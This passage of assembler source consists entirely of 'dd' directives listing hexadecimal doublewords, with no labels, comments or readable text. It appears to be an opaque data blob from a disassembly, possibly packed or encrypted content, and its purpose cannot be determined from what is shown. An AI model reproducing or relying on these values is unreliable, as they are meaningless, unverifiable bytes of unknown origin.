9D2BF5B0h, 2A98D24Ch, 0A33D41F3h, 7E897E1Bh dd 9ED6A1E0h, 80F840Ah, 0F153C1C8h, 56F03A5Eh, 49D924F7h dd 0F4F302A4h, 1DF5614h, 9212E930h, 0AFE6AB50h, 30B63B39h dd 4533CE01h, 40460B21h, 3755B4B0h, 0CF5EE9EEh, 0D8BD1384h dd 0F898FC4Bh, 9ABE2CE9h, 1F84B835h, 81095FE7h, 0F47755h dd 4F531168h, 5A02BBE3h, 0E019092Eh, 8205DA5Ah, 201FF855h dd 0D095A97Fh, 22CD2209h, 0A4E061BFh, 0FE71C06Fh, 0ACEA80CBh dd 0BB25204h, 0B4CBD328h, 0B1515280h, 299080C2h, 0C0DD06C0h dd 98F605E1h, 39DE699Eh, 6E722AFEh, 0AB2A6005h, 0F50762BAh dd 5BD3948h, 690822D4h, 0E92CC0BEh, 52C3A9A5h, 0E47C6858h dd 0FCE0818Dh, 2A66957Fh, 90BA942Dh, 3E4CAE99h, 66163203h dd 0D255E279h, 4FC98AFAh, 0B635EBh, 0A43E3B55h, 5E7EE96Bh dd 68A138D6h, 4CFF2B43h, 987FC603h, 7F852F77h, 0AB5B474Ch dd 52818AE8h, 61250907h, 87D56035h, 7B81D40h, 4178409Eh dd 123DF048h, 0D390557h, 89963B5Eh, 0AB9FCBE9h, 34025FE8h dd 0DB08CE8Ah, 0E38E7AB1h, 0C1EA3C2Bh, 680BE90Fh, 74AA56C2h dd 0EEF952AFh, 0C268A2Ah, 64D780A6h, 8DB90A13h, 5AC62605h dd 41EBD1F7h, 90380401h, 5B6BD42Ah, 0AD684597h, 295A46E6h dd 0E41369E3h, 8EE2D036h, 8163E06h, 4EA1434Bh, 49947C9Eh dd 1DFC6031h, 56FC340Bh, 0C6C0882Dh, 0CFAA5412h, 0F2F550E8h dd 25777A08h, 0E33B8829h, 658BC781h, 62707960h, 0FBA805Fh dd 0B0048DF6h, 0FD08592Dh, 0DEF8B281h, 3424D075h, 9CF40F0h dd 5F34EE7Fh, 0E1B50E3Dh, 32CC6B40h, 0F0267F35h, 80429EA3h dd 38E529EAh, 26C04ABAh, 5D3C230Bh, 0D0CEFB31h, 0FEE92788h dd 0E5805260h, 0F507B973h, 0EA885255h, 7E5AD422h, 9E9A6FCDh dd 470EA3FAh, 8007E7C1h, 0BA85F781h, 29452C02h, 0B10949ADh dd 0F4579124h, 74A1AEDh, 0A2D42232h, 0C0FD219Fh, 0B26C5C2h dd 0D135E733h, 86037A7Eh, 0F0A1D453h, 0B70CEEDh, 0F529460Ah dd 56FD895Fh, 535CE39Dh, 0BA13A44Bh, 0EFA77BB8h, 9B09BEB7h dd 3BACC5Bh, 0A143D3C5h, 57B2290Ah, 241E545Eh, 0CDC1615Fh dd 6B336E74h, 7B9DE87Bh, 0DF5E345Ch, 9F53D171h, 0C3026962h dd 424E0165h, 59DFFA42h, 9FFCEB4Ah, 5ECAB42h, 2BBCC32Dh dd 3A055F88h, 0CA5F5D7Ch, 20E9D6C8h, 664F7AC4h, 58590382h dd 608F9484h, 9D219AB8h, 0CEE4015Bh, 31B44D8Dh, 0EF1AC15Bh dd 9E10F4BEh, 0B29CC397h, 29B2DFCAh, 0C6A6FD82h, 0CC2D8444h dd 27DFC7AFh, 956AAA96h, 440A854Fh, 81609865h, 2F4EAAE5h dd 6DE33DCh, 4D6FF020h, 91AD33B2h, 5C4CAD10h, 2C72055Ah dd 5FE451F6h, 0F27B5B36h, 0E24F8B03h, 4C6FFF5Ch, 2DFA6F88h dd 68FB065Dh, 8181F06h, 957BCCF9h, 0F295C135h, 6010F6E3h dd 78EDFFBCh, 657B2449h, 4EBD9238h, 0D90567FAh, 12CA570h dd 0F6139CC5h, 0E48BDBBDh, 60D41942h, 0B60BD8A4h, 135A20F8h dd 0B816D55Fh, 58099660h, 0B09097E7h, 0CD01ED41h, 287F45D5h dd 5850AEAEh, 7B5C1811h, 3C529F8Ah, 7B996385h, 3449540h dd 3C096419h, 0F7470696h, 25563032h, 6C9AEA63h, 6802AB09h dd 5DEF39Fh, 0A8422FB2h, 0E9E043Bh, 0AEC05DAAh, 5A167A09h dd 0E457207Fh, 5B0B8438h, 7DB362E9h, 0A02A4F4Dh, 866F679Fh dd 8505A4E9h, 5DCE648h, 3E7C07D6h, 1262FF03h, 0B0FB9C38h dd 13187B98h, 3A1C7AC2h, 0C16F7F14h, 0DE6DE70Ch, 68047AECh dd 6DEDB94Ah, 88F321B4h, 0AC313B23h, 520184A6h, 0CDE96050h dd 0F61DCE97h, 0B1E29771h, 0ACACD3D7h, 5DDE12D5h, 0FEE3274Bh dd 3FA7C799h, 775DBA8h, 0A6B6525Ah, 3AC099E9h, 28093105h dd 552193E3h, 0BF572500h, 194C7EF4h, 58EF26D2h, 531C4109h dd 0D4F9F94h, 7E72FDF6h, 794EB509h, 0C600BCB2h, 5F058C43h dd 5096EEE9h, 0E57B4127h, 7B45A72Bh, 22B1F131h, 0E93F575Ch dd 210C89D9h, 8DF18078h, 0D678D0E1h, 8109AF4Eh, 8961FF43h dd 936E7914h, 0E909AD8Ah, 0D6AA8Ch, 0EBD04064h, 2E80EDD0h dd 1549D4CDh, 9D0590CAh, 0B8EFC27Dh, 0C3D94A5Ah, 5B023AD5h dd 545252C8h, 875C21F6h, 246F8E27h, 0C5EB71D4h, 14785D6h dd 0B0409105h, 41C56B41h, 6C80B7FCh, 892B0F4Ah, 0BD5EF202h dd 0C0703A91h, 2DBAF508h, 7C7446B6h, 496F5CAFh, 70912D06h dd 6C1DBB05h, 20806494h, 0B01169F5h, 39F31DB0h, 0A18992E6h dd 0ED016F2Fh, 5C664DEh, 2A5B020h, 0E97F153Dh, 0A5A571F2h dd 4E10D0EFh, 0F9905A4Ch, 33F812D7h, 7F020C7Eh, 7222CE6h dd 0E7192A11h, 5CFE0503h, 0DCAB64CFh, 6066C2E9h, 7A32DECh dd 306E7200h, 24E91FF1h, 4C082D3h, 62277F89h, 8C105FF8h dd 59972E8Dh, 13444C9Dh, 1BCF6D13h, 0D0F2A0Ch, 0A8B25FE9h dd 3DDD5A48h, 0E95B702Bh, 0F197E11Fh, 695E42CEh, 0AE65D0Bh dd 0DE572169h, 0F85912B2h, 51E0F761h, 0E528CBB1h, 87E3AD6Eh dd 0EB07D4B5h, 0BCF1D4BBh, 0C4BDF04Eh, 2564B880h, 0B946300Bh dd 3A226BBFh, 4AFD85E4h, 280B05BDh, 0C47DE2EBh, 0AB1211A9h dd 0FDB0906h, 0D32930CFh, 17EAC348h, 6176DFB8h, 3E158493h dd 0EB810196h, 5AB45DE0h, 7E011520h, 95434875h, 0A018A92Dh dd 1C694F21h, 0C1F78487h, 0B720A8F0h, 0B6948379h, 0F0C9DDE1h dd 129BF796h, 0D0F449CAh, 4DA86804h, 5010D8F3h, 76BD25ACh dd 0E5819E46h, 9EA05576h, 0B66F0B2Fh, 0CAE91231h, 9931EF33h dd 105F5B8h, 944CE621h, 5773EC45h, 546816C9h, 7E98AD97h dd 36B0DD29h, 0B7E25320h, 92BFD865h, 0B9E35083h, 0BC5A9342h dd 0A1FE84BBh, 25B3A812h, 31135766h, 976ACFF9h, 0CCBF1685h dd 0B541FB0Eh, 0BD0F75F4h, 176CE218h, 0E08F08AAh, 0BAFB50B0h dd 1C79B71Eh, 20B106D2h, 5181E804h, 8248B38Eh, 45474CEFh dd 0C057C44Ah, 502625AEh, 0B3E96D08h, 264928F5h, 69A31876h dd 0C0E5C175h, 7B5B1794h, 6C0A0924h, 9A2F682Dh, 1F266959h dd 4A439B3Eh, 5E41B844h, 0C034B742h, 0E79B3963h, 7ECF8099h dd 0EDCB49E0h, 25E9C170h, 5152103Ah, 0B4D3992Eh, 12A6EB82h dd 0D18541A0h, 0A8CBC8DFh, 31F00627h, 34AEF4E9h, 288F5995h dd 27152028h, 50C435B2h, 0D7B41948h, 0FC42304Bh, 7668D6ECh dd 59BE6753h, 1C5A34C6h, 0D7F672C2h, 4B122AC5h, 0E66D28F1h dd 0CDA36816h, 8F19301Bh, 2D444C19h, 0E864B88Ch, 548609D2h dd 68040124h, 0E829040Eh, 3303AAC7h, 0F89E054Bh, 0B17B9623h dd 0B26B201Eh, 5B0A6458h, 5689C8F8h, 80D3AB0Ch, 168EE43Ch dd 0D4A86BCDh, 91EBA1h, 5A6835h, 892D0BF4h, 4810586Bh dd 2BF61BF6h, 18E92A16h dd 6C86CF46h, 0D5F628A4h, 80829006h, 27535ED6h, 75DE1DB3h dd 55FFE90Bh, 24153EB1h, 3C4F8771h, 680CBEF7h, 7597476Ah dd 0D6435C48h, 0CEAC62EFh, 313B3250h, 0A04892C2h, 0ED4488ABh dd 0DA907FE6h, 3BBBCA01h, 58E930A3h, 0D3F600DEh, 5CF2C3FEh dd 0F7DDD754h, 0BB31AB3Eh, 6CC7000Ah, 21EABC99h, 4BFB9DF9h dd 71353709h, 7F688430h, 1EE0984Ah, 0CFB5D94Ch, 93592F42h dd 0F1C610F8h, 883F229Fh, 56FADC7h, 0D6FC5CAEh, 0A22410h dd 52D8F65Bh, 980E2B2h, 0D03088C2h, 0FAC2C84h, 600DEEF7h dd 357F7A1Bh, 0E0600334h, 0BFB7E925h, 72DC225Fh, 618A5A87h dd 80C4090Ah, 559CDBDh, 98F41FBCh, 665B07h, 5849BE3Dh dd 529564C9h, 9CF35870h, 626F947Bh, 94FF502Fh, 74D900DEh dd 1C3547AAh, 525BF954h, 1943A08Ah, 0FB64564Fh, 0C56BD504h dd 0D04B1EA7h, 6805E63Ch, 0DD2C6E31h, 992FEA9Eh, 505AE9A2h dd 1CA968CDh, 6B64C3BEh, 0F6B140EFh, 0CCCC870h, 0AB6BB1F6h dd 0C54C7516h, 0B5CE7CBh, 6F09560Ah, 90CD7705h, 194DBAB9h dd 302635E9h, 9C9FAFEAh, 241E916Bh, 0ACE41338h, 0EB8109CFh dd 88F9CD02h, 492F9ED7h, 1BF04B4Ah, 5A582563h, 0FFE9C9F1h dd 0B76205C4h, 7D448141h, 0E5988EC6h, 5818765Bh, 0B18D5F0Ch dd 1CAF0217h, 386079DDh, 0ED25200Ah, 5F95435h, 0F844DB28h dd 310113FFh, 89211A9h, 58193A7Eh, 0D17B5C91h, 4E10AB3h dd 0EE875505h, 0ED026BEh, 412D6813h, 0BEA4E8ACh, 20E9123Ch dd 0B2169478h, 12042802h, 0FA12A06Ch, 5B60E98Eh, 0C4E56BEh dd 83CF4A74h, 27EE325Eh, 38755B7Ch, 5ADCE921h, 84FBF257h dd 74FEF86Eh, 0EEF080BAh, 7D5CB53Bh, 0DEC3465h, 0B92216ABh dd 91B11045h, 0EE185E3Bh, 5FC35D67h, 0DD99182Eh, 0BC807B16h dd 1358FEB8h, 0EE2151A3h, 36012B4Ah, 57C36801h, 48963318h dd 93E521CFh, 0EF35004Ch, 0A12E3D9Ch, 0E3DE2A3Dh, 405C8F84h dd 1B473EDh, 0AE294A9Ch, 4E5D584Ch, 2DCC40A8h, 72F78316h dd 0EA4D0906h, 55CD05FDh, 0F826C756h, 2BFE7D76h, 0D930CC4Eh dd 4AB053F1h, 0C7ABA04Ah, 94B761A3h, 0A1C6AB4Bh, 0AE40000Ch dd 0BD55B429h, 103C4874h, 0A2825A2Ch, 50EE775Dh, 0F8251182h dd 67CBBF56h, 30E959C2h, 681CCBF0h, 0F62D603Dh, 6C35842h dd 70761F04h, 0D784D329h, 0B8C0812h, 95017668h, 0F3098546h dd 2104E6Ah, 0E04B3EA1h, 60F0313Ch, 5D81D85Eh, 93A0B82h dd 0E8CCE8h, 7AC4BF57h, 27C1239Ch, 0A98206EFh, 9C081047h dd 89A8DA12h, 0DD1D6079h, 3A337FEDh, 0B30C7963h, 4263CA14h dd 8128834h, 14160C34h, 405F3DFBh, 0BC78D2FBh, 0E1E97709h dd 0BB165FA9h, 86F3C59Dh, 664A5543h, 3E0EEF05h, 0E41719FBh dd 0C513AFF0h, 0EC16E9CFh, 10AE4FA5h, 7205A67Eh, 0FE4A760Ah dd 3A82D0A5h, 386C0C24h, 7154676h, 77D91A85h, 606E81F7h dd 0C2805AACh, 371E0DDCh, 20FACF01h, 0F740F4Bh, 251AF6EAh dd 26FC645Fh, 0C90C39D3h, 336ED3FEh, 9C3AF3A1h, 514A5817h dd 4AD1EAD8h, 1315FC5Ah, 8BEFF3F7h, 62C179EAh, 1A790ECCh dd 1355C46Eh, 710AAE07h, 6881452Fh, 21CE5403h, 76204335h dd 7A5E81AEh, 0FED73EBDh, 0DD562272h, 0E228DFDBh, 1F84744Ah dd 7F15CBEEh, 0F991B22Fh, 0B87069F5h, 0DF0A3D18h, 8386AF28h dd 66470DD0h, 9690848h, 0DD575F4Ch, 0E9450380h, 0DB9F34B4h dd 23682D08h, 0DE0B2DD8h, 8639E241h, 195386Ah, 2206FAEEh dd 44DE012Ch, 0D60849B0h, 47D12148h, 0DFC131C1h, 3D685A1Ah dd 0B93ED013h, 0C9D91011h, 9B392E7Bh, 2AF6AD88h, 996B1D8Ch dd 0A55A57D7h, 0FBC2955Ah, 0AF920FE3h, 0D5254D8Bh, 6C768E89h dd 8BBDC525h, 8B259CE9h, 2CF29D5Ah, 9AE4841Ah, 0FFCBF00h dd 12540CCh, 0AC3AE5F8h, 0BC8B0E1Fh, 0E72DBE17h, 0D2FBB63Bh dd 0A8B40EF2h, 0F0E917C1h, 0FE5E19ECh, 0CAFCD729h, 5EB7A445h dd 0A107AC52h, 0E7C356B0h, 0A2E196F5h, 0F42DFC7Eh, 10BDE6AFh dd 0C1C0BA52h, 2B47434Ch, 56AB0CC1h, 0B82E08B0h, 0A008415Eh dd 7F6140Ch, 485D9D49h, 0F2F7D73h, 0C285A43Ah, 6FB6B3F0h dd 72030A79h, 0C07583Eh, 51125FF2h, 4168B9C1h, 59E949E8h dd 0E84A13D6h, 3BD3453Fh, 97BD8E1h, 69D4430Ch, 6E77D9A5h dd 54DFF3C0h, 0E91842C6h, 0EF17AD4Eh, 2A0E0FDh, 741E2D10h dd 0F98538C0h, 0E9070205h, 0DC9C7ED2h, 0F7E8832Fh, 8940C896h dd 5B5A8255h, 0AF5BDE24h, 8A611902h, 0F2CA757Bh, 0BFE90801h dd 0C49D6CD0h, 5D09999Eh, 733E5DD4h, 9AC82FF1h, 9DEB0980h dd 0B2D45866h, 496DF49h, 6DF6839h, 0C2E93B6Dh, 73527B3Dh dd 9B189730h, 7482A1F9h, 0C090BC0Dh, 8463493Ch, 0DAFA5EF5h dd 286802B2h, 523A7842h, 0C040B0D1h, 62B85073h, 3C026E25h dd 704702BAh, 0BF3E61E6h, 0ABFFC712h, 217DC1D2h, 1C83A37Bh dd 0D0160EB2h, 682F63AEh, 0B0F761C2h, 81476F13h, 67C5FC5Fh dd 0EC526694h, 0BE0F16D4h, 0CB5A93C8h, 0AF66333Fh, 0DF9CD734h dd 0BB86E916h, 6E056C20h, 686637DBh, 12290529h, 0E71D0188h dd 0DC5309A7h, 9A5BE94Fh, 67ADFA13h, 13E3C58Ah, 0E09956FEh dd 0CE304940h, 2D1A281Eh, 485401D7h, 99290E25h, 38E9D815h dd 10E7E152h, 357B4043h, 0BF46D14Fh, 42134A1Eh, 0B3FFBADh dd 964E871Eh, 4F9FEC2Fh, 600F38ABh, 0C05C9840h, 5647B921h dd 0D8BF0D78h, 3E0A0285h, 0E909132Ch, 0A89D5043h, 0F8164A43h dd 30E9FD7Ch, 0ED1D4BE8h, 7A0BB923h, 7FEA8995h, 2E4BA569h dd 0AB00A0B2h, 897C6C33h, 555F5BDDh, 36FE78C1h, 4C3459Fh dd 83C408B8h, 1705B037h, 0B16DB7CBh, 0A6A98104h, 3C18002h dd 684B389h, 0F8310B74h, 0F5CCBFB0h, 391F32Eh, 0E836F5C9h dd 4B2AEB04h, 8F975F2h, 2FAD0841h, 75E566D0h, 53852E2Ch dd 0F8C074BFh, 0A89B5CEBh, 82A84FE9h, 35F5DABh, 4857558Dh dd 0E401D80Ch, 0C1221103h, 0EA9E40E2h, 0D52F0D49h, 7764895Ch dd 69B24A22h, 0D8F488A0h, 0EAF8CCFEh, 452DCCBEh, 45E024A2h dd 0BB7DD422h, 0FA97C4B6h, 72A28A21h, 80C4CB3Ch, 0F1AC16CDh dd 0D2B62778h, 0BB00F5C6h, 5E8B77C0h, 0BED59BFh, 0DF298842h dd 0D8A77585h, 5441BC91h, 62CF62Ch, 27A08F25h, 1F1B5836h dd 87FCD129h, 5959CA7Ch, 56991933h, 0E06AE238h, 1C41223Bh dd 4280D26Fh, 2C624DC2h, 8857AF84h, 237F10D5h, 142D0F00h dd 0E99F32ABh, 8F5A4DAEh, 0C51AB007h, 0D019A57Fh, 76E5B8EEh dd 315A7117h, 0E82205Fh, 411D9104h, 26A5D796h, 68614F74h dd 8C2F07C0h, 0AAB4BECBh, 7828742Dh, 2A16A8BAh, 0C4183774h dd 0B253E949h, 4C5C4C57h, 0E07B0576h, 0AEFA2922h, 1E588B88h dd 5307EBC0h, 53FAC088h, 0DF26B652h, 5008C9D0h, 38B70A15h dd 0E953E03Ch, 54979D2Ch, 0A1F15B92h, 929C3FA5h, 0BFCF5BB2h dd 68588C61h, 0FC283ACDh, 41F001B1h, 1B5FC69h, 0A030C221h dd 9CD93BBh, 34FF0917h, 0BFB32D58h, 97B93C18h, 97D87F82h dd 39FEB54Bh, 25B7FF5Ah, 0FF10A02Dh, 6A70FB97h, 5A6B0011h dd 0EF682774h, 0FBF3064Eh, 8F949F18h, 97BC95B5h, 2E2B4882h dd 0B0F0D565h, 907F0882h, 82DEF5D7h, 0EEE3B041h, 53018966h dd 68FF33FCh, 5D89526Ah, 9157138Dh, 0AD7B4826h, 3D1CB0Dh dd 2E4055Bh, 3F73BF84h, 4BC02362h, 60827202h, 2D372F3Dh dd 72C7FF7Ch, 191DF27h, 0AC671133h, 68D7F104h, 4DB85B66h dd 0AD46D92Ch, 1D2C6576h dd 23BCE101h, 0C80385Ch, 46782B5Bh, 205AD3E9h, 4D79DE89h dd 40FB0519h, 4D3BE168h, 0B7B900FCh, 375FF810h, 0A9A460C2h dd 0A008C697h, 2F278781h, 0B376217Ah, 0E54A84A8h, 80E330D0h dd 0D8FB4AC3h, 0E04E2A56h, 0E4455929h, 5CF828ABh, 920BD197h dd 4B4DA84Bh, 48312DBAh, 20BFB369h, 5EB9C631h, 21A4F1Eh dd 3A7B689Ah, 25A01BD7h, 0E8D48CCEh, 0E5D6130Bh, 948A0D74h dd 0F9CC3016h, 70683912h, 9BF61F0Bh, 9609C19Eh, 0FEA3CCE3h dd 68A4C85Eh, 916745D0h, 157690A5h, 9EC4EA68h, 0E527CF09h dd 525E0452h, 25E920BAh, 8060DEBEh, 17E53E0Ch, 8E01E281h dd 68342160h, 0EF5D0389h, 40E978C8h, 35074062h, 0AA078237h dd 0D89369EFh, 385B768Fh, 0F94EA957h, 55508636h, 34B30144h dd 0BFE94451h, 1FD36A30h, 0B6EA8533h, 0FDE98456h, 5B2B9ABCh dd 0D93109B5h, 2B5711DDh, 42A0393Fh, 46DDD8F3h, 0E1315FEDh dd 0AF37AB2h, 0C827999Ah, 5A89A828h, 10FE9AD1h, 4CF36803h dd 0B5D36A59h, 4A3C519h, 643D20AFh, 2025F610h, 1356FA59h dd 0A4CD4EE9h, 0EF61580Dh, 45D5F70Ch, 90AD3Eh, 46DEBE56h dd 49E90A31h, 0CA5FCC39h, 5730283Eh, 41934924h, 0D370B540h dd 0B9510252h, 0AD2C8F4Fh, 0CAAE635Fh, 665807C8h, 0CB7AF21h dd 80658h, 5930F92Dh, 280F057Dh, 484C2E05h, 0D7AE5FE9h dd 39BA608Ch, 0F0F519C1h, 5A92BBC0h, 0EEB8FE7Ah, 0D628E74Ah dd 0E9C81288h, 0B643C583h, 0D8BC5B66h, 919FA416h, 2A731936h dd 4D7E3C8Eh, 3762E4C9h, 0B046E0F9h, 45BF2C8Ch, 0DF56CB36h dd 53BD7C2h, 0FCAB2BAh, 324522EEh, 354DEC3h, 7C87C317h dd 6CD90C43h, 0BCAB040Bh, 0EBFF2E0Fh, 0E5281E00h, 98D5F658h dd 0D88F4D38h, 0EEF7F985h, 4E0AB3CCh, 689E4265h, 0B25C69C4h dd 5828B799h, 23E1997Eh, 39531065h, 0EFE2D113h, 146D85Dh dd 20202D0Eh, 0F0B66C5Ch, 3FE8D74Bh, 112E6ABFh, 2B1610EDh dd 0C286D441h, 881C0FEh, 0B551DAF6h, 0A4C290E8h, 11135D3Bh dd 0D8A0E82Bh, 3F500294h, 5B9373B4h, 6A4E416h, 0F4AB04EFh dd 2B4BDF62h, 216EE98Dh, 79A0321Ah, 2054D4CAh, 0D8529F0Eh dd 0BC5E7C0Eh, 0F90E7803h, 45E13E13h, 0D7E8EA82h, 7C6069A7h dd 35FC607Ch, 5E16095h, 5E372C3Bh, 2D283C3Fh, 44E91907h dd 3AF76B98h, 0F07B8A99h, 6815532Bh, 38596ED7h, 0E98CD0B2h dd 0B4B1964Bh, 2CC8C576h, 9F4AA008h, 3F3E2D3Ch, 0C0DBE927h dd 78EE8034h, 0A67D2CB8h, 638F81C2h, 2A5F069Dh, 1BE27D90h dd 29562F7Bh, 0C0608B2h, 6824748Bh, 0C442A77h, 0EE1784AFh dd 62D20B98h, 0B9FD2155h, 0EB28FD08h, 0EFF6CD7Dh, 0EEF70844h dd 0FD5F6E63h, 0A23D06FCh, 0AC030C20h, 0E9BEFE45h, 4DFCEDFh dd 2D27D46h, 998BEA5Eh, 12CF2F10h, 1904EB28h, 35BA0108h dd 1D39EF6Ah, 37C4CF3Ah, 1EF4FACh, 0AB246F6Dh, 3155C22Bh dd 5D500540h, 9FE64C97h, 1B26CF58h, 336B26C7h, 17AFB41Eh dd 1A52B99Ah, 7D2DA2E9h, 2D047644h, 6C104163h, 74510EBh dd 19BED067h, 2E3C6CF9h, 539393C6h, 38D25977h, 5DE2EAB1h dd 60353000h, 9AFA1598h, 7B20CC41h, 0C32E54FCh, 20FE9A1Ch dd 3E90904Bh, 0B252CC0Eh, 2EEAC70Eh, 8594FAE5h, 0D5460AEEh dd 0E8483B81h, 0B17EFE25h, 0D059DCAFh, 0C3B125F3h, 0EE7AEB01h dd 826ED664h, 3BC2570Eh, 75B95AD8h, 0B4FC96B7h, 0B8F6BFAEh dd 0C834D772h, 315D5427h, 0FD829DCDh, 66C32858h, 80966177h dd 69FBAD9h, 1DF31E9Fh, 31F760EBh, 7AFD3AC4h, 0CCD5AE85h dd 68165909h, 2CFC09A3h, 0E433E9C2h, 29BAB3A0h, 3F7BA22Ch dd 33CDDE4Dh, 848B4656h, 0D743F6FEh, 687E0D61h, 9D059422h dd 0F02A0569h, 3C4E07E3h, 0BB8B2BF3h, 0D7D12BD7h, 0DCE9FDC0h dd 0F60134BCh, 0F3F280D2h, 0C0C56FE8h, 154EBDB0h, 549D0AB4h dd 0EAB50757h, 0C1C34E4Bh, 2E848F2h, 0CAFDE929h, 356088Bh dd 27D6FC2h, 9740015Ah, 0A1F142Dh, 0E7967072h, 80F07057h dd 0B54E9AB2h, 145500E2h, 0AF294BAFh, 0CE013D28h, 47105F4h dd 140B4AF6h, 5EEDA882h, 0F8BE0121h, 601AD974h, 63025EBBh dd 9EE91F24h, 96E75985h, 0EBFC56F2h, 0A12F4899h, 8DA73FCAh dd 0DD4CE934h, 23326A57h, 681968D3h, 5B7D5C25h, 7C9648D8h dd 75439A24h, 85208212h, 1B5FBDC6h, 7229FA09h, 0D240F9h dd 0C107E2C1h, 36267594h, 0A9CA8F0Eh, 7DC7A9AFh, 0C9EA6225h dd 0E7812F2Fh, 382C716Ah, 2450FCC7h, 0E0A28502h, 795566Fh dd 3C32919Ah, 0F7FF615Bh, 0DD5E0742h, 0F69582C6h, 0B8E9784Bh dd 5930859Fh, 68022DE2h, 14F0704Bh, 804F094Eh, 0BB66D780h dd 976774B2h, 0F430DD7Ah, 0D7BD3AB1h, 0B1E0D19h, 2A0BDBBEh dd 0E78BF99Ch, 52BACE7Eh, 4DEC5A7Bh, 8B627EA9h, 0D508EA9Dh dd 0A085DA43h, 0CEBD339Ah, 96813D2h, 654CCF59h, 8A165199h dd 7E01BAC2h, 1990ACE2h, 7A5E14DCh, 0C68F58Fh, 6C676B38h dd 68C8BF81h, 0C2516B86h, 50030661h, 0ADA36DB1h, 822AF269h dd 4D5955E3h, 621DF1E9h, 667D2FC6h, 36F124FBh, 868C177h dd 9E3E4246h, 0D9F0A66Ah, 1BA3B52Dh, 0C5EC90Ah, 8D202D88h dd 72EF8109h, 73309F2Dh, 0E78819CEh, 2E598148h, 0EF4ACCE3h dd 0EDF17700h, 0BF013011h, 2EDE4D20h, 0CC153C6h, 0A9F1BAD1h dd 2989827Fh, 0B54FC5D7h, 0EC650016h, 5A01B53Dh, 0D0CD5E9Fh dd 8D5FEAE9h, 737F5F91h, 0A4441CE1h, 0E1E94D07h, 0A4F15BBCh dd 1F0569FBh, 43E4F505h, 1FD468D3h, 0A71C5712h, 98339FD1h dd 7409B82Dh, 30600B4Eh, 0CA0B60B7h, 0A948E905h, 9C3C7791h dd 1B38E627h, 32A5C91Ah, 27688664h, 0ED147126h, 74BA5D4Fh dd 0E30BAA55h, 0C5695555h, 959FD85Ch, 0AB6F0A4h, 927A33Dh dd 99FDE1CEh, 0F4011C8Fh, 828004A4h, 0B87E02BCh, 0B7EF0E83h dd 538A6Dh, 0E71F343Fh, 2C5FE91Ah, 0D75180C2h, 293E7864h dd 362397D8h, 0EED780EDh, 0F4505F0Bh, 0EC28808h, 0A4FDCA5h dd 23E230Ch, 675F1FA8h, 9EBEE8FDh, 584B305Bh, 0E7C4E910h dd 0D6976792h, 306312Ch, 76E0704Eh, 5B57F7Fh, 0D8D0D7C2h dd 5B0E0D7Ch, 7CCA960h, 0C4639362h, 6C09C760h, 1381A78h dd 804ECCFh, 0ABA48859h, 5C3D774Fh, 0B659AE30h, 1375A95Ch dd 0EC2489C1h, 0CD3FB2F0h, 0FEF0DF61h, 4C79BFD7h, 5D03DB26h dd 5549174h, 192AD10Ch, 0CFDB8742h, 6F14E1E0h, 496A7436h dd 0D410DE5Ch, 4B8844Bh, 4034F9Dh, 99AE3158h, 14EC6E3Fh dd 332D5E13h, 7FC852B9h, 6C5BA529h, 7D341CB8h, 5820FA0Fh dd 783479BDh, 53FEF4E5h, 5F2DE782h, 0BF8214F5h, 0DE1200D3h dd 0DE3A12BEh, 0D7E90CC6h, 5FE50B08h, 0CC2CEC8Ah, 4BC111DDh dd 567E8EAh, 22AB4BE1h, 1FE9A302h, 7BD448BEh, 46F19533h dd 58B956EBh, 679D88CDh, 0C03826B1h, 0FE394DBAh, 0E204C1B0h dd 40150F8Dh, 4B2202BBh, 9C894901h, 4E27918h, 4134FE95h dd 0D9AAB510h, 0C9A53AEEh, 2A5BE03Bh, 5131B25Ah, 0E858FDBh dd 0D81A7868h, 18001F07h, 0D14546E4h, 0B778E9EDh, 0C85D9B04h dd 5BB5DBC4h, 0E5B04EEh, 0FB481A8h, 0F42D0085h, 4E870B09h dd 0E382215Ah, 136A3447h, 31D57177h, 2A9F334h, 6E51C05Ah dd 0AF219F9Ah, 7B546021h, 0E57FC999h, 41A7D000h, 0E4D46C26h dd 0E9D52182h, 3983F625h, 0D91F9D80h, 3D0BBE2Ch, 1E61809h dd 556E05EEh, 82F3E0E5h, 0E4236085h, 0A1D99FBBh, 0BE1924Fh dd 0F1C0B92Ah, 0B104F33Fh dd 8D27FD56h, 643DF1Fh, 65622440h, 1D1B8C4h, 402684C9h dd 6B63E94Fh, 755C18C2h, 163FA1FBh, 7349CE12h, 0CF15709h dd 0A4B50540h, 21BA582Bh, 849C1E1Ah, 0C998715Dh, 13792884h dd 0D24D77EBh, 6E77D438h, 636812EEh, 0B660EF1Ch, 419530E6h dd 9EF72E77h, 7C18E901h, 9DF32956h, 0C84967F0h, 0E1965D3Eh dd 0D9A7212Dh, 15376ADCh, 0C24F15BAh, 0B8DD85D8h, 4B73688Fh dd 8801CC64h, 42CAD04Fh, 5EB8427Ch, 0A66E64B1h, 0DAE909F9h dd 0D682C1FCh, 0FB7C3AA5h, 0BC0C94A9h, 14FD41DBh, 0C44DED80h dd 76EBC0B7h, 0B855FDE9h, 0A28FE04Ah, 492BB292h, 160C8055h dd 5EAF1BBBh, 793E366h, 565A7487h, 5885BE13h, 0E93F1A0Dh dd 0AE7FCB25h, 67B34E6Ch, 0C363A3F4h, 0E9E3809Dh, 2B0497ECh dd 278AEB5Ch, 2F1B207Fh, 8255E76h, 6E729972h, 0C7E7902Ah dd 0D427E62Eh, 238B7F51h, 0BD4E3E57h, 31510954h, 95C0B720h dd 3AB36883h, 9FA8A7B9h, 4D5F5F30h, 0ED249EAAh, 9D0AFDECh dd 0D50E2D75h, 232EB79h, 3636A33h, 0ACDCE268h, 2E3BC086h dd 5BE940FEh, 314A0970h, 0EC622E92h, 487ADA2h, 75D0B25Dh dd 181DA1B0h, 974079B5h, 1612F9E2h, 0C8134C0Ah, 9910B1BCh dd 0E2FD4F89h, 11067B0Bh, 0E90702A0h, 2A9F100Dh, 23095CBCh dd 5F45C48Fh, 3CA0FD60h, 0B90596EDh, 9AD20687h, 0D3504929h dd 3389D840h, 27717D97h, 757AB894h, 97535720h, 464797Ch dd 6D9B7246h, 0A127EF77h, 4EB47F95h, 0BC876B20h, 0E0E50A23h dd 0DF2C1F17h, 141FEB5Ch, 4D221E10h, 48BC80ACh, 0E5594h dd 6D02DFC2h, 4A47687Ch, 1A013140h, 71F4484Eh, 0FE571706h dd 9EC6F821h, 0C5EB80F2h, 5A306146h, 5652AF98h, 690B3221h dd 7716F55Bh, 71279427h, 23A380D5h, 5C296AE7h, 0C6858B6h dd 5769E829h, 0DA950FCCh, 0B45E6138h, 6A2E631Eh, 7E084401h dd 